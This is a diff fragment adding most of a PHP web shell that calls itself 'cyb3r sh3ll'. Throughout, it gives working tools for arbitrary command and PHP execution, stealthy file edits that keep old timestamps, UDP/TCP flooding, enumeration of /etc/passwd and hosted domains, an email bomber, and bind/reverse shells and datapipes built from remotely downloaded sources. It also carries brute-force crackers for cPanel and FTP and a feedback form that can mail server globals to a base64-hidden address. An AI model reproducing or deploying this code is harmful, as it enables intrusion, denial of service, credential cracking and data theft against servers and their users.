+ foreach($arr as $t)
+
+ {
+
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+
+ else {echo " ".$t[0]." ";}
+
+ echo " (+ ) |";
+
+ }
+
+ echo " ";
+
+ if ($ft == "info")
+
+ {
+
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
+
+ if (!$win)
+
+ {
+
+ echo "Owner/Group ";
+
+ $ow = posix_getpwuid(fileowner($d.$f));
+
+ $gr = posix_getgrgid(filegroup($d.$f));
+
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+
+ }
+
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+
+ $fi = fopen($d.$f,"rb");
+
+ if ($fi)
+
+ {
+
+ if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+
+ $n = 0;
+
+ $a0 = "00000000 ";
+
+ $a1 = "";
+
+ $a2 = "";
+
+ for ($i=0; $i";}
+
+ $a1 .= " ";
+
+ $a2 .= " ";
+
+ }
+
+ }
+
+ //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
+
+ echo " ";
+
+ }
+
+ $encoded = "";
+
+ if ($base64 == 1)
+
+ {
+
+ echo "Base64 Encode ";
+
+ $encoded = base64_encode(file_get_contents($d.$f));
+
+ }
+
+ elseif($base64 == 2)
+
+ {
+
+ echo "Base64 Encode + Chunk ";
+
+ $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
+
+ }
+
+ elseif($base64 == 3)
+
+ {
+
+ echo "Base64 Encode + Chunk + Quotes ";
+
+ $encoded = base64_encode(file_get_contents($d.$f));
+
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+
+ }
+
+ elseif($base64 == 4)
+
+ {
+
+ $text = file_get_contents($d.$f);
+
+ $encoded = base64_decode($text);
+
+ echo "Base64 Decode";
+
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+
+ echo " ";
+
+ }
+
+ if (!empty($encoded))
+
+ {
+
+ echo "".htmlspecialchars($encoded)." ";
+
+ }
+
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+
+[Encode ]
+
+[+chunk ]
+
+[+chunk+quotes ]
+
+[Decode ]
+
+";
+
+ }
+
+ elseif ($ft == "html")
+
+ {
+
+ if ($white) {@ob_clean();}
+
+ echo $r;
+
+ if ($white) {cyb3rexit();}
+
+ }
+
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+
+ elseif ($ft == "phpsess")
+
+ {
+
+ echo "";
+
+ $v = explode("|",$r);
+
+ echo $v[0]." ";
+
+ var_dump(unserialize($v[1]));
+
+ echo " ";
+
+ }
+
+ elseif ($ft == "exe")
+
+ {
+
+ $ext = explode(".",$f);
+
+ $c = count($ext)-1;
+
+ $ext = $ext[$c];
+
+ $ext = strtolower($ext);
+
+ $rft = "";
+
+ foreach($exeftypes as $k=>$v)
+
+ {
+
+ if (in_array($ext,$v)) {$rft = $k; break;}
+
+ }
+
+ $cmd = str_replace("%f%",$f,$rft);
+
+ echo "Execute file: Display in text-area ";
+
+ }
+
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+
+ elseif ($ft == "code")
+
+ {
+
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+
+ {
+
+ $arr = explode("\n",$r);
+
+ if (count($arr == 18))
+
+ {
+
+ include($d.$f);
+
+ echo "phpBB configuration is detected in this file! ";
+
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by cyb3rell. Please, report us for fix.";}
+
+ echo "Parameters for manual connect: ";
+
+ $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
+
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+
+ echo " ";
+
+ }
+
+ }
+
+ echo "";
+
+ if (!empty($white)) {@ob_clean();}
+
+ highlight_file($d.$f);
+
+ if (!empty($white)) {cyb3rexit();}
+
+ echo "
";
+
+ }
+
+ elseif ($ft == "download")
+
+ {
+
+ @ob_clean();
+
+ header("Content-type: application/octet-stream");
+
+ header("Content-length: ".filesize($d.$f));
+
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+
+ echo $r;
+
+ exit;
+
+ }
+
+ elseif ($ft == "notepad")
+
+ {
+
+ @ob_clean();
+
+ header("Content-type: text/plain");
+
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+
+ echo($r);
+
+ exit;
+
+ }
+
+ elseif ($ft == "img")
+
+ {
+
+ $inf = getimagesize($d.$f);
+
+ if (!$white)
+
+ {
+
+ if (empty($imgsize)) {$imgsize = 20;}
+
+ $width = $inf[0]/100*$imgsize;
+
+ $height = $inf[1]/100*$imgsize;
+
+ echo "Size: ";
+
+ $sizes = array("100","50","20");
+
+ foreach ($sizes as $v)
+
+ {
+
+ echo "";
+
+ if ($imgsize != $v ) {echo $v;}
+
+ else {echo "".$v." ";}
+
+ echo " ";
+
+ }
+
+ echo " ";
+
+ }
+
+ else
+
+ {
+
+ @ob_clean();
+
+ $ext = explode($f,".");
+
+ $ext = $ext[count($ext)-1];
+
+ header("Content-type: ".$inf["mime"]);
+
+ readfile($d.$f);
+
+ exit;
+
+ }
+
+ }
+
+ elseif ($ft == "edit")
+
+ {
+
+ if (!empty($submit))
+
+ {
+
+ if ($filestealth) {$stat = stat($d.$f);}
+
+ $fp = fopen($d.$f,"w");
+
+ if (!$fp) {echo "Can't write to file! ";}
+
+ else
+
+ {
+
+ echo "Saved! ";
+
+ fwrite($fp,$edit_text);
+
+ fclose($fp);
+
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+
+ $r = $edit_text;
+
+ }
+
+ }
+
+ $rows = count(explode("\r\n",$r));
+
+ if ($rows < 10) {$rows = 10;}
+
+ if ($rows > 30) {$rows = 30;}
+
+ echo " ".htmlspecialchars($r)." ";
+
+ }
+
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+
+ }
+
+}
+
+if ($act == "about")
+{
+echo 'Script: -=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
+Name: cyb3r sh3ll Version: '.$shver.' Author: -=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
+Name: cyb3r 9l4d!470r (Cyber Gladiator) Country: India Website: ????... Email: cyb3r.gladiat0r@gmail.com
+Greetings: -=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=- r45c4l bro you are my source of inspiration. r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot and they know for whom i\'m speaking. Thanks all who report bugs and send to my email id.
';
+}
+
+if ($act == "dos")
+{
+?>
+Server IP:
+Your IP: (Don't DoS yourself nub)
+
+IP:
+
+ Time:
+
+ Port:
+
+
+
+
+After initiating the DoS attack, please wait while the browser loads. alert('Dos Completed!');";
+print "Flooded: $ip on port $rand ";
+$max_time = $time+$exec_time;
+
+
+
+for($i=0;$i<65535;$i++){
+ $out .= "X";
+}
+while(1){
+$packets++;
+ if(time() > $max_time){
+ break;
+ }
+
+ $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
+ if($fp){
+ fwrite($fp, $out);
+ fclose($fp);
+ }
+}
+echo "Packet complete at ". time() ." with $packets (" . round(($packets*65)/1024, 2) . " kB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
+}
+
+if ($act == "localdomain")
+{
+echo "Sites on this server. | List of Users. ";
+}
+
+ if ($act == "local")
+ {
+ //radable public_html
+ $file = @implode(@file("/etc/named.conf"));
+ if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
+ preg_match_all("#named/(.*?).db#",$file ,$r);
+ $domains = array_unique($r[1]);
+
+ function check()
+ {
+ (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):"";
+ }
+
+ check();
+
+ echo "
+ [+] Here : [ ".count($domains)." ] Domain ...
+ List of Domains List of Users ";
+
+ foreach($domains as $domain)
+ {
+ $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
+ echo "$domain ".$user['name']." ";
+ }
+
+ echo "
";
+//radable public_html
+ }
+
+ if ($act == "readable")
+ {
+ //entries in passwd file
+($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('Error: safe_mode = on ');
+set_time_limit(0);
+###################
+@$passwd = fopen('/etc/passwd','r');
+if (!$passwd) { die('[-] Error : coudn`t read /etc/passwd '); }
+$pub = array();
+$users = array();
+$conf = array();
+$i = 0;
+while(!feof($passwd))
+{
+$str = fgets($passwd);
+if ($i > 35)
+{
+$pos = strpos($str,':');
+$username = substr($str,0,$pos);
+$dirz = '/home/'.$username.'/public_html/';
+if (($username != ''))
+{
+if (is_readable($dirz))
+{
+array_push($users,$username);
+array_push($pub,$dirz);
+}
+}
+}
+$i++;
+}
+###################
+echo '';
+echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
+echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";
+echo "[~] Searching for passwords in config files...\n\n";
+foreach ($users as $user)
+{
+$path = "/home/$user/public_html/";
+echo "$path \n";
+}
+echo "\n";
+echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <- that's on the menu -> Explorer \n";
+echo "[+] Done ...\n";
+echo ' Coded by cyb3r 9l4d!470r Homepage ';
+
+
+ }
+
+
+ if ($act == "mailer")
+ {
+ ?>
+
+ (: E-Mail Bomber :)
+ [: Mass Mailer :]
+ {: Anonymous Mailer :}
+
+
+
+ Some Error Occured!";
+ break;
+ }
+ }
+ if($error != 1)
+ { echo "Mail(s) Sent! "; }
+ }
+ else
+ {
+ ?>
+ ">
+
+
+
+
+
+
+
+ Mail Sent!";
+ }
+ else
+ {
+ echo "Some Error Occured! ";
+ }
+ }
+ else
+ {
+ ?>
+ ">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Proxy | Whois ";
+}
+
+ if ($act == "feedback")
+
+{
+
+ $suppmail = base64_decode("Y3liM3IuZ2xhZGlhdDByQGdtYWlsLmNvbQ==");
+
+ if (!empty($submit))
+
+ {
+
+ $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
+
+ $body = "cyb3r sh3llv.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
+
+ if (!empty($fdbk_ref))
+
+ {
+
+ $tmp = @ob_get_contents();
+
+ ob_clean();
+
+ phpinfo();
+
+ $phpinfo = base64_encode(ob_get_contents());
+
+ ob_clean();
+
+ echo $tmp;
+
+ $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
+
+ }
+
+ mail($suppmail,"cyb3r sh3ll v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
+
+ echo "Thanks for your feedback! Your ticket ID: ".$ticket.". ";
+
+ }
+
+ else {echo "Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."): Your name: Your e-mail: Message:".htmlspecialchars($fdbk_body)." Attach server-info * There are no checking in the form. * - strongly recommended, if you report bug, because we need it for bug-fix. We understand languages: English, Hindi. ";}
+
+}
+
+if ($act == "systeminfo") {echo system('systeminfo');}
+
+if ($act == "phpinfo") {@ob_clean(); phpinfo(); cyb3rexit(); }
+
+if ($act == "upload")
+
+{
+ echo "File upload:
+
+Select file on your local computer: or
+
+Save this file dir:
+
+File-name (auto-fill):
+
+
+
+ ";
+$target = $_POST['path'];
+ $target = $target .'\\'. basename( $_FILES['uploaded']['name']) ;
+ $ok=1;
+if (isset($_FILES['uploaded']['name'])) {
+ if (file_exists($target))
+ {
+ echo $_FILES["uploaded"]["name"] . " already exists. ";
+ }
+ else
+ {
+ if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target))
+ {
+ echo "Upload: " . $_FILES["uploaded"]["name"] . " ";
+ echo "Type: " . $_FILES["uploaded"]["type"] . " ";
+ echo "Size: " . round(($_FILES["uploaded"]["size"] / 1024),3) . " Kb ";
+ echo "Stored in: " . $target;
+ }
+ else
+ {
+ echo "Sorry, there was a problem uploading your file.";
+ }
+ }
+ }
+}
+if ($act == "whois")
+{
+global $t,$hcwd;
+if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){
+$server =$_REQUEST['server'];
+$domain=$_REQUEST['domain']."\r\n";
+$ser=fsockopen($server,43,$en,$es,5);
+fputs($ser,$domain);
+echo "";
+while(!feof($ser))echo fgets($ser);
+echo " ";
+fclose($ser);
+}
+else{
+echo " ";
+}
+}
+
+
+
+if ($act == "cracker")
+{
+ echo "
+
+Hash -|-
+SMTP -|-
+POP3 -|-
+IMAP -|-
+FTP -|-
+SNMP -|-
+MySQL -|-
+HTTP Form -|-
+HTTP Auth(basic) -|-
+CPANEL -|-
+Dictionary Maker
+ ";
+}
+
+if ($act == "shells")
+{ ?>
+
+
+ (: Bind/Reverse Shell :)
+ [: Web Shell :]
+
+
+
+
+ array("Using PERL","perl %path %port"),
+
+ "cyb3r_bindport.c"=>array("Using C","%path %port %pass")
+
+ );
+
+ $bcsrcs = array(
+
+ "cyb3r_backconn.pl"=>array("Using PERL","perl %path %host %port"),
+
+ "cyb3r_backconn.c"=>array("Using C","%path %host %port")
+
+ );
+
+ $dpsrcs = array(
+
+ "cyb3r_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
+
+ "cyb3r_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
+
+ );
+
+ if (!is_array($bind)) {$bind = array();}
+
+ if (!is_array($bc)) {$bc = array();}
+
+ if (!is_array($datapipe)) {$datapipe = array();}
+
+
+
+ if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
+
+ if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
+
+
+
+ if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
+
+ if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
+
+
+
+ if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
+
+ if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
+
+ if (!empty($bindsubmit))
+
+ {
+
+ echo "Result of binding port: ";
+
+ $v = $bndportsrcs[$bind["src"]];
+
+ if (empty($v)) {echo "Unknown file! ";}
+
+ elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+
+ else
+
+ {
+
+ $w = explode(".",$bind["src"]);
+
+ $ext = $w[count($w)-1];
+
+ unset($w[count($w)-1]);
+
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+
+ if ($ext == "pl") {$binpath = $srcpath;}
+
+ @unlink($srcpath);
+
+ $fp = fopen($srcpath,"ab+");
+
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+
+ elseif (!$data = cyb3rgetsource($bind["src"])) {echo "Can't download sources!";}
+
+ else
+
+ {
+
+ fwrite($fp,$data,strlen($data));
+
+ fclose($fp);
+
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+
+ $v[1] = str_replace("%port",$bind["port"],$v[1]);
+
+ $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
+
+ $v[1] = str_replace("//","/",$v[1]);
+
+ $retbind = myshellexec($v[1]." > /dev/null &");
+
+ sleep(5);
+
+ $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
+
+ if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
+
+ else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View binder's process ";}
+
+ }
+
+ echo " ";
+
+ }
+
+ }
+
+ if (!empty($bcsubmit))
+
+ {
+
+ echo "Result of back connection: ";
+
+ $v = $bcsrcs[$bc["src"]];
+
+ if (empty($v)) {echo "Unknown file! ";}
+
+ else
+
+ {
+
+ $w = explode(".",$bc["src"]);
+
+ $ext = $w[count($w)-1];
+
+ unset($w[count($w)-1]);
+
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+
+ if ($ext == "pl") {$binpath = $srcpath;}
+
+ @unlink($srcpath);
+
+ $fp = fopen($srcpath,"ab+");
+
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+
+ elseif (!$data = cyb3rgetsource($bc["src"])) {echo "Can't download sources!";}
+
+ else
+
+ {
+
+ fwrite($fp,$data,strlen($data));
+
+ fclose($fp);
+
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+
+ $v[1] = str_replace("%host",$bc["host"],$v[1]);
+
+ $v[1] = str_replace("%port",$bc["port"],$v[1]);
+
+ $v[1] = str_replace("//","/",$v[1]);
+
+ $retbind = myshellexec($v[1]." > /dev/null &");
+
+ echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."... ";
+
+ }
+
+ }
+
+ }
+
+ if (!empty($dpsubmit))
+
+ {
+
+ echo "Result of datapipe-running: ";
+
+ $v = $dpsrcs[$datapipe["src"]];
+
+ if (empty($v)) {echo "Unknown file! ";}
+
+ elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+
+ else
+
+ {
+
+ $srcpath = $tmpdir.$datapipe["src"];
+
+ $w = explode(".",$datapipe["src"]);
+
+ $ext = $w[count($w)-1];
+
+ unset($w[count($w)-1]);
+
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+
+ if ($ext == "pl") {$binpath = $srcpath;}
+
+ @unlink($srcpath);
+
+ $fp = fopen($srcpath,"ab+");
+
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+
+ elseif (!$data = cyb3rgetsource($datapipe["src"])) {echo "Can't download sources!";}
+
+ else
+
+ {
+
+ fwrite($fp,$data,strlen($data));
+
+ fclose($fp);
+
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+
+ list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
+
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+
+ $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
+
+ $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
+
+ $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
+
+ $v[1] = str_replace("//","/",$v[1]);
+
+ $retbind = myshellexec($v[1]." > /dev/null &");
+
+ sleep(5);
+
+ $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
+
+ if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
+
+ else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View datapipe process ";}
+
+ }
+
+ echo " ";
+
+ }
+
+ }
+
+ ?>Binding port: Port: "> Password: "> $v) {echo "".$v[0]." ";}
+
+ ?>
+
+Back connection: HOST: "> Port: "> $v) {echo "".$v[0]." ";}
+
+?>
+
+Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!
+
+Datapipe:
+
+ HOST: "> Local port: "> $v) {echo "".$v[0]." ";}
+
+?> Note: sources will be downloaded from remote server.
+
+
+
+
+
+
+
+ [: Enter Command to Execute: :]
+
+
+Useful Commands
+
+
+
+
+
+
+
+
+
+
+
+
+ Kernel version
+
+ Logged in users
+
+ Last to connect
+
+ Suid bins
+
+ USER WITHOUT PASSWORD!
+
+ Write in /etc/?
+
+ Downloaders?
+
+ CPUINFO
+
+ Open ports
+
+ gcc installed?
+
+ Format box (DANGEROUS)
+
+ WIPELOGS PT1 (If wget installed)
+
+ WIPELOGS PT2
+
+ WIPELOGS PT3
+
+ Kernel attack (Krad.c) PT1 (If wget installed)
+
+ Kernel attack (Krad.c) PT2 (L1)
+
+ Kernel attack (Krad.c) PT2 (L2)
+
+ Kernel attack (Krad.c) PT2 (L3)
+
+ Kernel attack (Krad.c) PT2 (L4)
+
+ Kernel attack (Krad.c) PT2 (L5)
+
+
+
+
+
+
+
+
+
+
+
+ Warning. Kernel may be alerted using higher levels
+
+
+
+
+
+
+
+
+
Result of execution this command: ";
+
+ $olddir = realpath(".");
+
+ @chdir($d);
+
+ $ret = myshellexec($cmd);
+
+ $ret = convert_cyr_string($ret,"d","w");
+
+ if ($cmd_txt)
+
+ {
+
+ $rows = count(explode("\r\n",$ret))+1;
+
+ if ($rows < 10) {$rows = 10;}
+
+ echo "".htmlspecialchars($ret)." ";
+
+ }
+
+ else {echo $ret." ";}
+
+ @chdir($olddir);
+
+ }
+
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+
+}
+
+}
+
+if ($act == "phpcode")
+{
+ echo "
+
+PHP Code Evaluate -|-
+Mass Code Injector -|-
+PHP Obfuscator -|-
+Web Server Fuzzer
+ ";
+}
+
+if ($act == "eval")
+
+{
+
+ if (!empty($eval))
+
+ {
+
+ echo "Result of execution this PHP-code : ";
+
+ $tmp = ob_get_contents();
+
+ $olddir = realpath(".");
+
+ @chdir($d);
+
+ if ($tmp)
+
+ {
+
+ ob_clean();
+
+ eval($eval);
+
+ $ret = ob_get_contents();
+
+ $ret = convert_cyr_string($ret,"d","w");
+
+ ob_clean();
+
+ echo $tmp;
+
+ if ($eval_txt)
+
+ {
+
+ $rows = count(explode("\r\n",$ret))+1;
+
+ if ($rows < 10) {$rows = 10;}
+
+ echo "".htmlspecialchars($ret)." ";
+
+ }
+
+ else {echo $ret." ";}
+
+ }
+
+ else
+
+ {
+
+ if ($eval_txt)
+
+ {
+
+ echo "";
+
+ eval($eval);
+
+ echo " ";
+
+ }
+
+ else {echo $ret;}
+
+ }
+
+ @chdir($olddir);
+
+ }
+
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+
+}
+
+if ($act == "proxy")
+{
+global $errorbox,$et,$footer,$hcwd;
+echo "";
+if (!empty($_REQUEST['urL'])){
+$dir="";
+$u=parse_url($_REQUEST['urL']);
+$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
+if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/')));
+$url=@fsockopen($host, 80, $errno, $errstr, 12);
+if(!$url)die(" $errorbox Can not connect to host!$et$footer");
+fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
+while(!feof($url)){
+$con = fgets($url);
+$con = str_replace("href=mailto","HrEf=mailto",$con);
+$con = str_replace("HREF=mailto","HrEf=mailto",$con);
+$con = str_replace("href=\"mailto","HrEf=\"mailto",$con);
+$con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con);
+$con = str_replace("href=\'mailto","HrEf=\"mailto",$con);
+$con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con);
+$con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
+$con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
+$con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
+$con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
+$con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con);
+$con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con);
+$con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
+$con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
+$con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
+$con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
+$con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
+$con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
+echo $con;
+}
+fclose($url);
+}
+}
+
+
+if ($act == "obfuscate")
+{
+ if ( isset($_POST['code']) &&
+ $_POST['code'] != '')
+ {
+ $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),''),9)); // high Compression! :P
+ $encode = '
+
+';
+ }
+ else
+ {
+ $encode = 'Please Enter your Code! and Click Submit! :)';
+ }?>
+
+
+
+
+ $data
";
+
+ print "cyb3r sh3ll is at its Work now :D ;D! Dont close this window untill you recieve a message ";
+ for($i=0;$i<$times;$i++)
+ {
+ $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
+ if($socket)
+ {
+ fwrite($socket , $data , $length );
+ fclose($socket);
+ }
+ }
+ echo "";
+ echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")." ";
+ echo "Total Number of Packets Sent : " . $times . " ";
+ echo "Total Data Sent = ". showsizE($times*$length) . " ";
+ echo "Data per packet = " . showsizE($length) . " ";
+ }
+ else
+ {
+ ?>
+
+
+
+
+
+
+
+
+
+
+
+";
+ cpanel_check($target,$pureuser,$firstVal,$connect_timeout);
+
+ while (1) {
+ for ($i = 0; $i < ($max + 1); $i++) {
+ if ($A[$i] == -1) {
+ break;
+ }
+ }
+ $i--;
+ $incDone = 0;
+ while (!$incDone) {
+ for ($j = 0; $j < $numVals; $j++) {
+ if ($A[$i] == $vals[$j]) {
+ break;
+ }
+ }
+ if ($j == ($numVals - 1)) {
+ $A[$i] = $vals[0];
+ $i--;
+ if ($i < 0) {
+ for ($i = 0; $i < ($max + 1); $i++) {
+ if ($A[$i] == -1) {
+ break;
+ }
+ }
+ $A[$i] = $vals[0];
+ $A[$i + 1] = -1;
+ $incDone = 1;
+ print "Starting " . (strlen($currentVal) + 1) . " Characters Cracking
";
+ }
+ } else {
+ $A[$i] = $vals[$j + 1];
+ $incDone = 1;
+ }
+ }
+ $i = 0;
+ $currentVal = "";
+ while ($A[$i] != -1) {
+ $currentVal = $currentVal . $A[$i];
+ $i++;
+ }
+ cpanel_check($target,$pureuser,$currentVal,$connect_timeout);
+ //echo $currentVal . "
";
+ if ($currentVal == $realMax) {
+ return 0;
+ }
+ }
+}
+function getmicrotimev() {
+ list($usec, $sec) = explode(" ",microtime());
+ return ((float)$usec + (float)$sec);
+}
+
+function ftp_check($host,$user,$pass,$timeout)
+{
+ $ch = curl_init();
+ curl_setopt($ch, CURLOPT_URL, "ftp://$host");
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
+ curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
+ curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
+ curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
+ curl_setopt($ch, CURLOPT_FAILONERROR, 1);
+ $data = curl_exec($ch);
+ if ( curl_errno($ch) == 28 )
+ {
+ print "
+ Error : Connection Timeout
+ Please Check The Target Hostname . ";exit;
+ }
+ else if ( curl_errno($ch) == 0 )
+ {
+ print "
[~]
+ Cracking Success With Username " $user \"
+ and Password \" $pass \" ";
+ }
+ curl_close($ch);
+}
+function cpanel_check($host,$user,$pass,$timeout)
+{
+ global $cpanel_port;
+ $ch = curl_init();
+ //echo "http://$host:".$cpanel_port." $user $pass ";
+ curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
+ curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
+ curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
